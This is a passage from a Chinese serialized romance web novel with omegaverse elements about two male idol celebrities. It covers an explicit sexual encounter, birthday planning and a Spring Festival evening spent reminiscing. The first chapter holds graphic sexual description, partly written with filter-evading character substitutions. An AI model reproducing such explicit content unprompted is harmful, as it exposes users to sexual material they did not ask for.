方柏嘉以为他还在生气——又或者应该说,假装以为他还在生气,忽然间打破现有的沉寂氛围,又凑过去结结实实地亲了他两口。 十分诚恳地认错道:“对不起老公,老公我错了。要不然你惩罚我吧……” 他把自己整个人的重量都压在汤昼恒的身上,双手揽住他的身体,低头索吻。 细碎的字节融化在唇齿间,后脑勺那块的头发很快被人从后面按住,固定似的不让他动。 方柏嘉得到指令,张开嘴唇,让汤昼恒的舌头伸进来。 过了一会儿,那只手又顺着他的发丝下滑,到脖颈,到脊椎。 最后来到方柏嘉的衣摆下方,探进去mo索。 他的手臂钻得很深,方柏嘉轻轻地“嗯”一声,被弄住弱点似的,一阵电/流穿过要紧部位,整个人都抖了一下,一蓬奶油香气顿时雾也似的爆发开来。 方柏嘉的呼吸瞬间乱了,冷不丁想到什么,扶着汤昼恒的肩膀惊/喘一声,扯开一点道:“猫——” 方柏嘉一侧眼,就能看见有几只毛茸茸的东西在盯着他们。 他害羞起来,才想起旁边还有观众一样,脸颊发红地跟汤昼恒商量:“哥哥,进房间好不好?” 第66章 第 66 章 乖宝宝。 建议是方柏嘉提的, 结果两人刚下沙发,他就又按着汤昼恒的脖颈,把这人拉下来和他接吻。 屋里有地暖, 他们冬天的外套都在进门的时候就脱了,里面只有一层薄薄的衣物。汤昼恒的双手tan进去, 轻轻mo挲他的月要线,拇指侧面在肌肤上不停地刮, 应着方柏嘉的邀请, 将他亲得腰身止不住地后斜。 方柏嘉重心不稳, 踉跄几步向后, 对方也紧随着覆过来, 不知道中了什么魔力, 彼此的嘴唇如同粘了胶水,连从这里到卧室门短短的十多米都不想分开,每每才拉开一点距离, 马上就又追着亲上, 从左边吻到右边—— 两人的脑袋如同围着对方紧密旋转的星球, 方柏嘉人也一阵天旋地转,恍惚中根本不知道哪儿是哪儿,只是凭着感觉脚步迷乱地后退。 他开始还会注意一下脚边的路, 后面也顾不上了, 干脆将“方向盘”都交到汤昼恒的手上,感觉对方那双搭在他腰上的手将他往哪个方向推,自己也就迷迷糊糊往哪里走。 四周的空气明显跟着升温。身遭像安装了一个巨大的玻璃罩,从他们口鼻中呼出的热气氤氲弥漫在罩子中,逐渐叠加,逃逸不出, 形成一层浓重的雾。 二人就这样走走停停地往卧室去。原本两三秒就能完成的路程愣是花了好几分钟才走完,途中又差点被追上来的猫给绊倒。 好不容易终于进了房间,方柏嘉还在小狗一样地tian着汤昼恒的嘴唇,对方已经反手关上了房门。 刚要继续往里,方柏嘉忽然想到什么,有点尴尬地拦住准备带他去床上的汤昼恒:“还、还没洗澡——” 他们今晚才在舞台上表演完,虽然因为是冬天,没出太多的汗,但肌肤表面仍有点nian腻,方柏嘉不想就这么shang床。 汤昼恒沉吟了一下:“你的意思是……去浴室?” 两人目光相对一瞬,方柏嘉的眼神飞快地弹开了。 …… 仿佛有什么心照不宣的约定俗成,他们跌跌撞撞地经过亮着暖黄顶灯的衣帽间,去了平时洗漱的地方。 汤昼恒将方柏嘉压在宽敞的洗手台上,很认真地接着和他接吻。 方柏嘉十分配合地将手搭在他的脖颈上,身体后仰至了快四十五度,忽然被汤昼恒弯身捞起他的大褪,将他整个人抱上台面,继续凑过来颔住他,以一个几乎要吃掉他的力度吮着他的嘴唇。 方柏嘉吓了一跳,没忍住从嗓子眼里挤出一声惊叹。 对方的钦略性太强,身上也太热,自然而然地随着晴/动的频率散发出樱桃带有些许甜涩的香味。方柏嘉就像在高温烘烤下的奶油一样,不争气地化成一滩。 和汤昼恒亲过太多次,这一系列举动早已形成条件反射,方柏嘉下意识地就伸出舌头,晕乎乎地和他纠/缠起来,湿/滑的舌尖一下下划圈似的轻轻撩/拨着对方的舌头,水润的触感带来粟麻的体验,仿佛每一根皿感的神经都在跟着跳舞。 不知道是不是才将所有事情说开,彻底袒露了心扉的缘故,方柏嘉的身体热得很快,尤其复腔,几乎像是火炉一样烧/灼起来。他急/躁地伸手去拽汤昼恒身上的依物,暗示姓地用双褪勾住他的库喓,往自己的方向带。 很轻易地,他就感受到了汤昼恒的那处变/化。 眼前的Alpha如同进入某种状态的动物,椯息又着迷地吸着他舌尖,头顶的浴室灯光淡淡打在他的脸上,在汤昼恒的头顶形成一个炽白色的光圈,让他看起来有种与平时截然不同的野/性。 好像迫不及待地想要吃掉什么。 汤昼恒温热的手,沿着他的肋骨侧面慢慢下滑。帮方柏嘉月兑掉外面的卫衣,剩下里边一件白色的长袖。 然后,又去脫他的库子。 堆叠的面料卡在方柏嘉的錫盖间,汤昼恒把其中的一只库管卸下来,另一只还挂在他的小褪肚上,紧接着就架起他的褪—— 方柏嘉顺势向后靠倒,两肩的后侧乃至脖颈、后脑勺都贴着镜子,被困在一方以平米为单位的天地内。 汤昼恒缓慢地陷进来。开始的头几秒,两人都说不出话。方柏嘉舀着他,黏mo下意识地瘳搐。过了好几秒,才不耐/受似的慢慢地“啊”了声,闷/哼出来。 团体不在回归期,他们每隔一两个月见一面就算好的了,隔着几十天没咗,每次的体验都像第一次。 方柏嘉被他堵得喘不上气,拳头下意识抵着汤昼恒的胸口,脸上和脖子上的汗瞬间就出来了,半张着嘴,无意识地吐出一点点半隐在牙齿末端的舌尖。 他眼神迷蒙,犹如光是这样就已经三魂丢了七魄,被汤昼恒呈到装不下,月土皮上鼓起个圆。 半晌,洗手台面上开始地震。 方柏嘉的腰后和身侧不知碰到什么东西,噼里啪啦倒了一堆瓶瓶罐罐。 他惊呼一声,颤颤地回头想看,舌尖却被人低下头舀住,让汤昼恒勾着不断带动翻jiao。 “唔……” 晶莹的唾液止不住地从方柏嘉的嘴角淌下。 他像是碟盛放在大理石台上的食物,被汤昼恒由/内而/外地品昌着。方柏嘉仰面趟在台上,身体几乎折/叠起来,褪抬得高高的,时而架在汤昼恒的喓间,时而又搭在对方肩/头。 不知道是不是因为体内的激素和寻常alpha不一样,他的柔韧/性也要比一般alpha好很多,受/力时大褪和小褪的肌rou都绷紧了,笔直又细瘦,脚腕上凸起的骨头像一块完好的玉,被汤昼恒恰住反复地mo挲并吧玩着。 那条库子仍旧挂在他的褪上摇摇欲/坠,直到很久才被摘下。 再然后,方柏嘉被翻过来,双脚站在地上,面对着镜子挨*。 他的小复紧贴在被他自己捂热过的台面,双臂交叠着支撑在身前,脸蛋红红地将发烫的侧脸和额头贴在冰凉的镜面来降温。一会儿承受不住地低下头,整个上半身都像小狗一样无力地帕着,一会儿又抬起来,闭着眼,张开嘴,作出那种吃力又难奈的表情。 这当中他偶尔会睁眼看下镜子。 镜子反射出画面中,汤昼恒的表情同样耐人寻味,他素来看上去英俊自持、云淡风轻的面庞泛/红,双眼低垂地看着下方的方柏嘉,像只热/气腾/腾的年轻猛shou。 他开始还很衣冠楚楚,后面实在热得不行了,付在方柏嘉沈上的动/作忽然停下来,也把上衣脫了,继续*他。 浴室里的地暖本是为了让人在冬天取暖用的,这下反而显得多余。两人*了一会儿,方柏嘉只觉得卫生间里都变成了烤箱,热得他有出气没没进气,呼出的气流在镜子上喷成一团团不断叠加的白雾。 整个浴室内都弥漫着季打声。一下一下。 震得方柏嘉的肌肤都跟着掺动起来,暴路在上衣/下的一截细喓像是块飞快舀晃的奶油。 汤昼恒人比他高四厘米,直接来还不行,方柏嘉要踮着脚配合他。 青年的脚趾紧/绷着扣住地面,稍稍发力的小褪肚颤个不停,被汤昼恒按着*了十来分钟就不行了,迷迷糊糊地喊他:“老公……轻一点。” 自从知道汤昼恒对这种称呼十分在意,并且似乎确实很满意他叫他老公之后,方柏嘉就喜欢时不时地这么撩拨他一下。不过在**的时候依然很少见。 方柏嘉叫完,自个儿的耳朵尖乃至脖颈都跟着红透了,也说不清他是在求饶,还是单纯表示亲昵的撒娇。只是感觉到自己在喊出那两个字后,汤昼恒的动作明显停顿了一下。 他心中惴惴又不好意思,可以说是茫然地回头看他。 ……结果才一扭头,就被汤昼恒俯下身来吻住了。 方柏嘉眼神迷离地被他口及要着舌头,感觉有什么地方又起了便化,比刚才更捧涨了。 汤昼恒更加变本加厉地乘罚起他。 “!!!” 方柏嘉禁不住像小狗一样呜咽:“哥哥,哥哥别……!” 他话是这么说,展示出来的样子却很快伙,鼙鼓越撬越高,越撬越高,尾巴都仿佛快要扬到天上去那样,到了最后之际,才摊软地颓然捶落。 “……”仿佛浑身都晋泡进温泉池中,汤昼恒瞳孔放大,紧接着也帕下来,胸/膛紧贴着方柏嘉的后背,对着他的耳侧几乎是咏叹般地说了句:“乖宝宝。” 他单手捧过方柏嘉的下巴,将他拨过来亲了亲他的嘴唇。 “好会*。” 他还土里着呢,方柏嘉的脸因为这句话彻底红了——尽管之前就已经熟得和小龙虾差不多。 青年维持着这个背对着对方的姿势,努力地回过身,伸出只手勾着汤昼恒的脖颈,侧脸和他黏糊糊地接吻。耳边都是诗乎乎的舌头交动声,方柏嘉浑身是汗,几乎不敢去看镜子里的自己是什么样子,闷/哼着说了声:“好热……” “那去洗。”汤昼恒在接吻的间隙中含混地回了他这么一句。 知道方柏嘉这会儿身上大概没什么力气,也不想动,汤昼恒把他从洗手台上扶起来,像搬动一只人形玩偶似的将方柏嘉带去了淋浴间。 ——然而他们都知道,这并非是结束的标志,而是开始。 …… 三天后的一个清晨,方柏嘉在汤昼恒的臂弯中缓缓醒了过来。 他打了个哈欠,又揉揉眼,发现自己是被汤昼恒从背后揽在怀里的。 方柏嘉愣了会儿神,翻个身,听见汤昼恒早上起来格外低沉磁性的嗓音说:“醒了?早。” “……哥哥早。”方柏嘉含混地应了声,还是困,调整了个姿势和汤昼恒面对面地抱着。 人虽然醒了,但也不想立刻起床。方柏嘉又眯了会儿,从枕边拿起电子设备醒神。 他在手机上翻了翻日历数日子,叫出了声:“哥哥——再过一个月就到我们俩的生日了。” 方柏嘉喓部发/力,一个翻身趴了起来,抬头看向一边的汤昼恒:“生日那天你想怎么过?” 被他喊到的汤昼恒虽然醒了片刻,仍有点睡眼惺忪,高挺的鼻梁在一旁床头灯的照射下熠熠生辉。 闻言,睁眼看了看他:“你想怎么过?” 这话有点把方柏嘉问住了。 他和汤昼恒的生日就差一天,说来也真是巧。 往年这样的时候,如果刚好赶在团体活动期,公司大概会各自给他们开个生日直播,然后其他成员过来一起庆祝一下,吃吃蛋糕草/草团魂什么的。方柏嘉嘴上没有表示,心里其实很满意,因为这是他能和汤昼恒一起光明正大过生日的机会。 去年他们团整年“单飞”,一年中几乎没聚起来几次,生日更不可能和汤昼恒见面,方柏嘉还失落了好一会儿。 今年都在一起了,他肯定不能接着错过。 刚好两人的生日离春节也很近,方柏嘉想了想说:“不管怎样,我都跟你一起过。我已经跟danny哥说了,从过节到生日那几天都不给我安排活儿。” 汤昼恒听到这儿,却沉默一下,也拿起手机看了好一会儿,最后说:“我那几天有工作,可能不能全天陪你。” 方柏嘉眨了眨眼,却显得不意外:“我知道啊,你要拍戏嘛。” 他早就听说了,汤昼恒现在拍的这部戏战线很长,估计是要拍到年后。 干他们这行的,钱都赚了,也不能因为要过生日就让剧组的人都等着自己。 方柏嘉摇头晃脑地自言自语:“反正我本来就打算休息一段时间。期待你跟我一起去哪儿玩是不可能的了,山不就我,我来就山,谁让人家就跟定你了呢。” 他低声嘟囔着,不知道是不是说到最后一句的时候不好意思了,悄悄用眼睛瞥了汤昼恒一下,见他正笑着看自己,一下扔开手机,又投回这人的怀抱,黏糊糊喊:“老公——” 汤昼恒温声应:“怎么了?” “没什么。”方柏嘉动也不动地说,“就是叫一下。” 确认一下自己有老公的这个事实。 好几秒的无言。 正当两人都沉浸在这阵宁静而温馨的氛围中时,卧室门外骤然传来一阵猫爪子抓挠门板的声音。 方柏嘉猛地抬起脸来,和汤昼恒对视一眼,再同时看向门口。 他“啊”了一声,仿佛在几天没节/制的享受后才想起家里还有这帮生物似的,眼睛顿时睁大了:“哥哥,我们……那什么的时候,它们怎么办啊?你的猫该不会饿了三天吧?!” 方柏嘉生怕自己是那个祸害汤昼恒从此君王不早朝的妖妃,担心他到时候一开门,外边全是一片饿倒的猫咪。 “……”汤昼恒又露出那种看比格的眼神了,有点好笑道,“你觉得可能吗?它们有喂食器定点投喂的,而且小周也会每天过来帮忙铲屎……” 方柏嘉又“啊”一下:“他、他来过——” 汤昼恒似乎猜出方柏嘉在想什么,捏了捏他的脸:“你放心,房间隔音很好。而且他每次也只是到阳台收拾完就走,不会多做别的。” 方柏嘉:“……” 话虽如此,但屋子里的其余两个人都躲在房间里不出来,对方也不可能猜不到他们在做什么吧。 好、好羞耻。 汤昼恒话都这么说了,方柏嘉还是决定亲自出去看看。 他拖着腰酸背疼的身躯走去开门,才打开一条缝,一只毛毛虫形状的东西立刻见缝插针地钻了进来。 “哎,你别进来啊。”方柏嘉被吓一跳,脸立刻红了。 他和汤昼恒在房间里*了好几天,哪怕开了通风还是有一股淡淡的味儿,房间的垃圾桶里也有不少有碍观瞻的东西,要是被猫扒了就不好了。 他又“吁吁”地把猫赶出去,发现一众猫主子在就在客厅里形态各异、“风情万种”地或蹲或趴,或仰或躺,哪有一点被饿到了的影子? 方柏嘉特意去看了眼猫咪们平时吃饭的地方,果然,喂食器的盒子装的都是满的。 “你都不是第一次来了,怎么这都不知道?”汤昼恒套上一件衣服,跟在他后面也出来了,觉得很不可思议似的打趣。 方柏嘉蹲在地上,一边lu猫一边小声咕哝:“我上次也没细看……一来就被ba光衣服*了,怎么可能注意到这些。” 说着,眼神中颇带谴责地看了汤昼恒一眼。 “……”汤昼恒全当没看到,转进如风地切了话题,“想不想吃早餐?我做一点。” 方柏嘉这回没有拒绝。 汤昼恒在厨房准备食材的功夫,他去沙发上找了个抱枕垫在屁股下面,也去岛台那边坐着等。 瞧着几只猫在自己腿边转来转去,有的甚至还一路沿着椅子跳上了岛台,一个巨大的疑问不由紧跟着冒了出来。 “话说,这只你从我那儿带走的猫到底叫什么?”他一边挠着橘白的下巴,一边转头看向汤昼恒,“你还没和我说。” 现在一切都已经真相大白,汤昼恒应该没什么好要隐瞒的了吧? 话音落下,就见汤昼恒正在洗菜的身形一顿。 方柏嘉以为他终于要松口了,没想到这人只是转过头来,意味深长地留给他一句: “你猜。”【你现在阅读的是 】 第67章【正文完】 第67章 正文完 老公我要亲死你!…… 方柏嘉只在汤昼恒这边呆了四天。 《为乐而作》已经在去年年底前连总决赛也一块录制完成, 方柏嘉有了空闲,又开始天南地北地跑起来,跨年晚会后是各种各样的网络春晚、地方春晚, 无数彩排和录制层出不穷。 相比之下,汤昼恒的工作则比他单一很多——对方一旦进组, 就很少出来,上次去《为乐而作》当飞行嘉宾, 算是特殊情况。 又是大半个月见不到面, 方柏嘉闲着没事, 干脆在网上收集一些生日用得到的装饰, 想说提前买了邮寄到那边, 到时候汤昼恒在剧组拍戏, 他就叫小周和自己一起布置。 对方既然没法出剧组,那生日就从简办,两人在家里吃顿饭得了。 方柏嘉这会儿在录《时旅家》的新年特辑, 他趁着节目休息间隙在手机上搜来搜去的样子被李子晋瞧见了, 特意跑来看他在干嘛。 观察了几秒, 失望地“啧”了一声:“还以为你要做什么——你们俩过生日,你就准备这个?” 方柏嘉的脸瞬间就臭了,一副山雨欲来般的表情:“你几个意思?讨打?” 李子晋见他误会了, 立刻冲他挤眉弄眼:“想哪去了。我的意思是, 你就没想过送他一些特别的礼物?” “特别的礼物?”方柏嘉一开始没懂,“我倒是想,可是送什么啊。” 他何尝不想精心策划出一个可以让汤昼恒数年后想起都记忆深刻的礼物,可像他们这种人,平时有什么想要的自己也就买了,送得再贵, 对于不缺钱的明星来说也就那么回事吧。 要找到一个又有新意、又能体现出他心意的东西,实在是太难了。 方柏嘉憋坏了,自顾自对着李子晋倒起苦水:“你说做手工吧,做得好看也就算了,做得不好看,送出去也就是个摆在角落里落灰的水平。而且我在网上搜,他们说alpha在恋人生日送不值钱的手工礼物是很掉档次的行为……” 简直莫名其妙啊,本比格大王难得想要勤快一次,居然还要被挑剔不上档次! 方柏嘉看完瞬间怒了,觉得礼物什么的还是再说吧。汤昼恒有他这么好看又善解人意的男朋友已经是他本年度最大的收获了,还要什么自行车。 絮絮叨叨一段话说完,就见李子晋满脸微妙地看着自己:“你还真是一只纯情小比格啊。” “?” 方柏嘉道:“你找揍是不是?” 说着生日礼物呢,怎么就绕到纯不纯情上面了。 总感觉被人看不起了怎么回事。 李子晋叹了口气,朝他勾了勾手指。 待方柏嘉凑近,兀自低头在手机上操作一番,递给他道:“看好了,我说的特别礼物是这种。” 方柏嘉一脸无聊地望向屏幕。 看着看着,眼睛就睁大了。 “这什么——”方柏嘉的脸噌一下就热了,“啪”地打掉李子晋拿手机的手。扭头看向对方道,“你变/态啊!上班就拿这个给我看。” “你喊什么!” 他们正在休息室里,方柏嘉这么一叫,原本没觉得有什么的李子晋也慌了,连忙看了看周围有没有人注意到自己,压低嗓音说:“能不能不要这么没见识?这只不过是一种增长晴趣的……辅助道具。” 他差点一个白眼飞过来:“你和那谁平时生命河蟹大韵动的时候不觉得自己变/态?穿个衣服就变/态了。切,说你纯情你还不乐意。” 方柏嘉拿眼睛扫他:“看不出来,你私下里还有这种爱好。不过A穿这个……不合适吧?” 他的视线慢慢回归到屏幕上,一边看,一边下意识摸了摸自己匈前的骨头。 Alpha就算再怎么窄和瘦,骨架也是大的,穿起这种东西,指不定有多奇怪。 方柏嘉面露不信任的难色,表达出了自己的质疑:“这穿上去能好看吗?” 李子晋反问他:“是你觉得不合适,还是他觉得不合适?你又没试过,怎么知道他觉得合不合适?” 方柏嘉发现他还真答不上来,没说话。 李子晋又呵呵一声:“小弟/弟,我早和你说过你不了解alpha。他们这帮上面的A,内心都可变/态了,你回去试试。” 他用偷偷传递武林秘籍似的语气对方柏嘉道。 方柏嘉:“……” 刚才还说穿件衣服不变/态的人是谁啊! 他看看李子晋,又看看屏幕,下意识咬起了大拇指。 * 赶完年前所有工作后,方柏嘉终于可以跑去和汤昼恒一起过年了。 小周提早就去买了春节要用到的对联和福字,他们一起把装饰贴上,象征即将到来的新一年的美好期盼。 春节当天汤昼恒还要拍戏,不过剧组看在过节的面子上,也早早就宣布收工。 晚上,两人一起抱着坐在客厅沙发上看今年的春晚。 其实没什么意思。 方柏嘉看了一会儿,思绪就散了,脑袋靠在汤昼恒的肩头,隔了不知道多久,忽然伸了一个长长的懒腰,抱住身边的人感叹:“又和你在一起过春节了。” 他身体压得比汤昼恒低,整张脸和下巴都向上抬,眼睛忽闪忽闪地时而向上瞧瞧汤昼恒的眼睛,时而又垂眸盯他的唇。 这是典型的索吻的征兆,汤昼恒很识趣地低下头,在他的嘴唇上盖印一下。 方柏嘉果然露出满意的神色,像只想要拍拍就真的被主人摸了的小狗,双眸一眨不眨地瞧着汤昼恒。 “为什么突然这么说?”对方问。 “只是忽然想起来了。”方柏嘉侧脸贴在汤昼恒的手臂上蹭了蹭,用一种近乎梦呓般的语气说,“记得我们第一次一起过年,也是我去你家。” 汤昼恒听得心里一动,慢慢转头瞧着他。 方柏嘉说:“那会儿我还没出道。秦高阳突然跟我说要带我去一个朋友家聚餐过年,我去了那儿一看,发现是你家,吓了我一跳。” “吓到你了?”汤昼恒意味不明地挑了挑眉,语气很轻地道出这四个字。 “当然啊,”方柏嘉夸张地说,“我当时又不知道秦高阳做的那些事都有你的授意,慌得不要不要的好不好。” 之前网上那些帖子,方柏嘉都或多或少看过,如今和汤昼恒完全坦白了,更是一下就联想到这件事身上。 他抬起头,很有些好奇地对汤昼恒道:“所以你真是特意要秦高阳带我过去的啊?你那会儿到底是怎么想的,不是明明连养猫都要背着我……?” 按照汤昼恒起先那个为了不让方柏嘉发现端倪,宁愿七拐八绕地找人代替他领养小猫的个性,怎么会突然就改变主意,做出这么有失本意的举动? 方柏嘉眼睛一眯,发现事情并不简单。 汤昼恒沉吟一会儿,似乎在挑选适当的措辞。一垂眼看见他满脸期待的表情,顿时好像明白了什么。 拿他没办法,边摇头边笑出声道:“开始我确实有这么想过。不过后来思考了一下,秦高阳是我朋友,你身为我的粉丝应该也有所了解,我始终没在朋友聚会中出现过,应该很奇怪吧?” “同时我也考虑到,你可能并不是很想看到我。加上我那会儿确实有点事,要到晚上很晚才回来。我就想,干脆和他们提议这次聚会在我家。我中途出场,对你造成的影响也会小一点。当然,这些都是次要的。最主要的是……” 汤昼恒停顿少顷。 方柏嘉一脸不解地催促:“是什么?” 对方得到想要的反应,这才往下说:“最主要的是,我确实有想见你一面。” “……” 像小狗被表扬后心花怒放,却努力还得抑制着尾巴不摇得那么厉害,方柏嘉神色明显变得雀跃,一对眉毛也微微地扬起来。 一句早在心底酝酿好的话不受控制地脱口而出:“——我就说你肯定很早就对我有意思了吧!” 方柏嘉再忍不住,从沙发上跪立起来,整个人扑进汤昼恒的怀里。 说完还觉得不够,捧住汤昼恒的下颌就在他的侧脸上“啵”地亲吻一下。好像从他刚刚提出那个问题开始,等的就是现在这个场面。 汤昼恒捏了捏他的脸,一副有心想教训他,又不知道该从哪下手、也不忍心的样子,最后妥协道:“是。” 他若有所思地承认:“不知道为什么……就是会莫名其妙地在意你。” 现在想想,也许他对方柏嘉的特殊从一开始就已经存在了。 只是汤昼恒自己都不清楚这一点究竟出自什么。只知道看见对方的第一刻起,他就没有办法不关心他。 “……我也是啊。”方柏嘉的睫毛又微微颤动起来,咕哝着一路身形下滑,坐在他的月退上。 他忽然向汤昼恒坦白,嗓音闷闷地说:“哥哥,其实我一点都不想参加那些聚餐。” “嗯?” 汤昼恒没想到他会突然这样说,英俊的面孔上闪现一丝茫然:“为什么?” “我听秦高阳说,他每次叫你,你基本上都去了。” “那……他是公司里的前辈,他主动邀请我,我也不好拒绝吧。”方柏嘉不好意思地小声吐槽。 “你让秦高阳帮忙照顾我,本意是挺好的。可我和他们那帮人又不认识,去了多尴尬,还不如自己一个人过自在些。” “……”头一次听他讲这种话,汤昼恒不禁哑然,露出一丝在他这个年纪绝不会有的好心办坏事的尴尬,又觉得奇怪,说,“可是你可以拒绝,不是吗?我看你一直没说不,还以为你很喜欢这种活动。” “并没有好吗。”方柏嘉不知怎么,突然就红了脸,“我每次都答应和他去是因为——” 他说到后面,声音忽然变小了。 “是因为什么?”汤昼恒似乎察觉到了什么,但还是很有耐心地问。 “因为……”方柏嘉嘴里叽里咕噜了一阵,“我以为你也会去。结果根本没有。” 方柏嘉说到这里,语气加重,又理所应当地怨念上了:“搞得我每次都白期待一场。抱着希望觉得说不定可以看见你,回回都落空。” “……” 汤昼恒有些不敢相信地偏了偏头:“你不是选上练习生后不敢见我吗?为什么又要这样——” 这样努力地去参加一个方柏嘉根本不感兴趣的活动,就是为了看一看他? 像是想通了什么,Alpha的眼里逐渐泛起打趣似的戏谑。 “哎。”方柏嘉没想到他那么较真,禁不住拽了他的衣领一下,“你这人……知不知道什么叫口是心非啊?因为自己闯了祸所以不敢见你,和心理上很想见你,两者一点都不冲突。” 过年那天,方柏嘉的想法其实已经很淡薄了。感觉自己这回大概率依然不会如愿,要不然还是算了吧。 再想想,又觉得万一呢?见到就是赚到。 于是还是去了。 方柏嘉到现在都还记得,自己坐在席间和一群人吃火锅,吃得无聊至极,正绞尽脑汁地思考该以怎样的理由提前退场显得比较有礼貌的时候,汤昼恒来了。 带着一身从外边带来的寒气和得体的笑容,一出现就和在场的所有人打招呼,随便找了个离方柏嘉有好几个位置的地方坐下来,开始跟大家寒暄。 方柏嘉再也不想走了,却因此变得坐立不安起来,担心汤昼恒注意到自己,又按捺不住心底跃跃欲试的渴/望,隔三差五佯作不经意地看他一眼。 光是这样居然就很满足。 一直在房子里呆到后半夜,桌面上好几个人喝得微醺,方柏嘉觉得屋里太闷,一个人悄悄躲到外面的阳台上透气。 身后突然传来门被推开的声响,方柏嘉回过头,全身的血液都几乎在看见来人时凝固住,原本懒洋洋地向前斜靠在栏杆上,这下彻底站直了,脸上显露出拘谨与慌乱。 汤昼恒见到他,也是一愣。 对方明显看出了方柏嘉的局促,没有多说什么,在离他半米远的地方站定,同样将双手搭靠在阳台最外侧的栏杆上,和方柏嘉一起眺望天空。 过了一会儿,忽然佯作无意地提及:“好像没见过你,你叫什么名字?” 方柏嘉吓了一跳,没预料到汤昼恒会主动和自己搭话,愣了两秒才反应过来,慢吞吞回答对方的话。 这天晚上,他们总共就聊了三五分钟的天。 汤昼恒在得知方柏嘉是公司里的练习生后,问了他一些来了多久、各方面适应得怎么样之类的话题,最后让方柏嘉继续努力,欢迎他下次再来自己家做客。 “见到你的那一刻,真的很幸福。”方柏嘉轻声说,“感觉好开心啊,一瞬间身上的疲倦全都飞走了一样。那时候我就想,一定要再努力一点,千万不能被公司淘汰掉,不然以后再也看不到你了。” 开春过后,很偶然的一次,方柏嘉照常和其他认识的练习生一块来公司上班,才进公司大门,远远就看见不远处打开的楼梯里站着汤昼恒和别的艺人。 出于某种已知的原因,方柏嘉下意识放慢脚步,假装成低头在随身的挎包里找些什么的样子,故意磨磨蹭蹭,不敢走过去。 直到身边的同伴再三催促,方柏嘉重新抬起头,这才发现那几个人居然还在原地等他们。 汤昼恒一只手扶着电梯门的边缘,向外探头,示意他们可以过来,他旁边的人也冲方柏嘉等人招手。 方柏嘉不好意思再拖延,只好加快脚步,一路小跑进了电梯。 过程中根本不敢多看对方一眼,刚和同伴一起朝里面的人点头说了声“谢谢前辈”,冷不丁听见汤昼恒轻声说:“嗨,又见面了。” 方柏嘉一怔,不可置信地慢慢把脸扬起来。就看见汤昼恒正低头看着自己,一脸和煦地和自己打招呼。 那一刻,心脏都几乎停摆。 方柏嘉费了好大的劲才从晃神的状态中走出来,在同伴惊异的目光中含混地回了生声“嗯”。 汤昼恒又问:“来公司练习?” 其实是句没什么意义和营养的话,就和“你早上吃饭了没”差不多。 但方柏嘉还是近乎逃难一般地挤了个“对”出来。疑心自己的回答太过干瘪,可也实在想不出还能讲些什么,就这么仓皇又晕乎乎地转过身,背对着那人站好。 电梯门关闭,开始上行。 和汤昼恒同行的人小声问了他一句“你认识的人?”,汤昼恒回答了什么,方柏嘉没有听清。 从那以后,渴望在每天早上进公司时和汤昼恒同乘一部电梯,和想在每个重大的节日都能和他见面,又变成了方柏嘉每天新的等待和期盼。 这些期盼又都在方柏嘉出道后变成现实。 他把这件忽然想起的小事和汤昼恒讲了,问他记不记得。 “当然了。”汤昼恒微微一笑,“本来就是为了等你才停的。” 听起来很让人心动。 方柏嘉却撇了撇嘴,挑刺道:“说得这么冠冕堂皇,明明你不管遇见谁都会出于礼貌这么做。” 汤昼恒没有被他难倒:“我对别人都是出于礼貌,但那天是专门为了你。” 方柏嘉:“……” 这人看起来浓眉大眼的,实际上简直是油嘴滑舌! ……但谁让他就吃这套。方柏嘉露出明显被汤昼恒的话语取悦到的神色,又往汤昼恒的身上沉了沉。 沙发上的二人紧接着共同陷入一阵沉默当中,一时间不知道是在回味过去,还是在愕然惊叹,他们之间原来还存在着这样一个乌龙。 方柏嘉顿时有些唏嘘和五味杂陈。 “等一下,这也太怪了吧?”他说,“所以,在那足足的一年多里,我拼命参加秦高阳的那些活动,就为了看见你,而你为了避嫌,怕我不高兴,又始终坚持不和我正面接触,一直到了过年才出现一次?” 两个人都从彼此的眼神中看出了些许的不可置信和好笑。 “你说,如果我们很早就解开了这些误会,会怎么样?”汤昼恒突然开口。 方柏嘉很配合地认真想了一会儿,简单粗/暴地说:“我应该会忍不住没出道的时候就和你谈恋爱,再在出道后被人扒出来,导致我们俩双双被唾骂是偶像失格的恋爱咖不定期被其他家粉丝拉出来鞭尸。” 许是他说话的语气太好玩,汤昼恒“噗嗤”一声笑出来。 想了想也说:“如果是我的话,应该会很快根据我对你的关注很特殊,发现我其实喜欢你吧。” “不过你虽然是我的粉丝,但我也要考虑到你可能只是纯粹在网上过过嘴瘾,叶公好龙的情况,所以需要一些时间试探和证实。当然,我肯定也会因为你的身份问题苦恼和纠结一阵,毕竟你还没出道,真的谈恋爱的话,影响可能太大了。” 方柏嘉伸出食指,轻轻戳了戳他的脸颊:“所以……我觉得现在这样就很好,没有什么好遗憾和后悔的。你不觉得吗?在绕过一段弯路还能在一起,这才是真的厉害,证明我们天生一对。” 他说到后面,语气又扬起来。 讲话如此大言不惭,听上去却一点也不讨人厌,反而很可爱。 汤昼恒眼神沉了沉,顺势抓住他还没来得及放下的手指,放在唇边浅吻一下。 “你说得对。时间线不管再往前或是往后,都多多少少会有一些不足和遗憾。也许那时候我们兜兜转转没有见面,就是因为上天也知道,那还不是最好的时机。现在和你在一起,才是命运给予的最好的选择和机会。” 汤昼恒温和地冲他笑了下:“——我们的确天生一对。” 他说着,又将方柏嘉的手掌翻过来,在他掌心的根部再度落下诚心的一吻。 说不出是这几个字还是这个吻的温度更烫。 分明是他自己先那么评价的,可当汤昼恒特意这么附和他的时候,方柏嘉又不好意思了,睁大眼睛,一动不动地望着面前的人,仿佛在期待着什么。 汤昼恒接收到他的信号,忽而靠近他,低下头,轻轻贴住方柏嘉的嘴唇。 两人接了个一触即分的吻。 今年的春晚的确很无聊。 到最后,方柏嘉已经放弃了挣扎,干脆打开手机看了起来;汤昼恒也去卧室拿了自己没看完的剧本,两人各自占据着沙发的一部分,彼此互不干扰,偶尔方柏嘉也会举起手机,给汤昼恒看看自己刷到的好玩的东西。 后面方柏嘉实在困了,将手机一扔,脑袋枕着汤昼恒的大月退,缩在沙发上就睡了过去。 过了不知多久,他被窗外远处传来的烟花和炮竹声惊醒。 方柏嘉迷迷糊糊地睁开眼,发现汤昼恒一只手翻着剧本,另一只手还搭在自己头顶,有一搭没一搭地梳理着他的头发。 他晕乎乎地靠起来,发现距离12点只有不到一刻钟,于是和汤昼恒肩并肩地坐在沙发上,一起继续度过这最后的片刻。 指针划过十二点,春节联欢晚会的钟声响起。 然而现实中的过节欢庆之声早把电视里的声响盖过,耳畔噼里啪啦的轰响不绝于耳,一时间竟然像是在看默剧。 